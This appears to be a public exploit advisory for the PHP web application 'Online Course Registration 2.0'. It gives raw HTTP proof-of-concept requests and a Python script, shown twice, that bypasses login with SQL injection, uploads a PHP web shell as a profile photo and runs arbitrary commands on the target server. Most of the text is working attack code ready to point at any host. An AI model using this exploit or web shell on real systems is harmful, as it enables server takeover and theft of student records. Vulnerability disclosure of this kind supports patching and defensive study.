# Exploit Title: Online Course Registration 2.0 - Remote Code Execution
# Exploit Author: Metin Yunus Kandemir
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/online-course-registration-free-download/
# Version: v2.0
# Category: Webapps
# Tested on: Xampp for Windows

# Description:
Attacker can bypass login page and access to student change password dashboard.

PoC Request (Authentication Bypass):

POST /onlinecourse/index.php HTTP/1.1
Host: target

regno=joke' or '1'='1'#&password=joke' or '1'='1'#&submit=


There isn't any file extension control in student panel "My Profile" section.
An unauthorized user can upload php file as profile image.

First PoC Request (RCE):

POST /onlinecourse/my-profile.php HTTP/1.1
Host: target

-----------------------------16046344889164047791563222514
Content-Disposition: form-data; name="photo"; filename="simple.php"
Content-Type: application/x-php

<?php $cmd=$_GET["cmd"]; echo `$cmd`; ?>


Second PoC Request (RCE):

GET /onlinecourse/studentphoto/simple.php?cmd=ipconfig HTTP/1.1
Host: target


Below basic python script will bypass authentication and execute command on target server.





import requests
import sys                        

if (len(sys.argv) !=3) or sys.argv[1] == "-h":
print "[*] Usage: PoC.py rhost/rpath "
print "[*] e.g.: PoC.py 127.0.0.1/onlinecourse "
exit(0)

rhost = sys.argv[1]
command = sys.argv[2]



url = "http://"+rhost+"/index.php"
data = {"regno": "joke' or '1'='1'#", "password": "joke' or '1'='1'#", "submit": ""}

with requests.Session() as session:
#bypass authentication
lg = login = session.post(url, data=data, headers = {"Content-Type": "application/x-www-form-urlencoded"})

#check authentication bypass
check = session.get("http://"+rhost+"/my-profile.php", allow_redirects=False)
if check.status_code == 200:
print "[+] Authentication bypass was successfull"
else:
print "[-] Authentication bypass was unsuccessful"
sys.exit()

#upload simple php file

files = {'photo':('command.php', '<?php system($_GET["cmd"]); ?>')}
fdata = {"studentname": "Test", "studentregno": "10806157", "Pincode": "715989", "cgpa": "0.00", "photo": "command.php", "submit": ""}
furl = "http://"+rhost+"/my-profile.php"
session.post(url=furl, files= files, data=fdata)

#execution
final=session.get("http://"+rhost+"/studentphoto/command.php?cmd="+command)

#check execution
if final.status_code == 200:
print "[+] Command execution completed successfully."
print "\tPut on a happy face!\n"
else:
print "[-] Command execution was unsuccessful."
sys.exit()

print final.text

online-course-registration-rce.png

poc.py

import requests
import sys                         

if (len(sys.argv) !=3) or sys.argv[1] == "-h":
	print "[*] Usage: PoC.py rhost/rpath "
	print "[*] e.g.: PoC.py 127.0.0.1/onlinecourse "
	exit(0) 

rhost = sys.argv[1]
command = sys.argv[2]



url = "http://"+rhost+"/index.php"
data = {"regno": "joke' or '1'='1'#", "password": "joke' or '1'='1'#", "submit": ""}

with requests.Session() as session:
	#bypass authentication
	lg = login = session.post(url, data=data, headers = {"Content-Type": "application/x-www-form-urlencoded"})
	
	#check authentication bypass
	check = session.get("http://"+rhost+"/my-profile.php", allow_redirects=False)
	if check.status_code == 200:
		print "[+] Authentication bypass was successfull"
	else:
		print "[-] Authentication bypass was unsuccessful"
		sys.exit()	 

	#upload simple php file

	files = {'photo':('command.php', '<?php system($_GET["cmd"]); ?>')}
	fdata = {"studentname": "Test", "studentregno": "10806157", "Pincode": "715989", "cgpa": "0.00", "photo": "command.php", "submit": ""}
	furl = "http://"+rhost+"/my-profile.php"
	session.post(url=furl, files= files, data=fdata)
	
	#execution
	final=session.get("http://"+rhost+"/studentphoto/command.php?cmd="+command)

	#check execution
	if final.status_code == 200:
		print "[+] Command execution completed successfully.\n"
		print "\tPut on a happy face!\n"
	else:
		print "[-] Command execution was unsuccessful."
		sys.exit()

	print final.text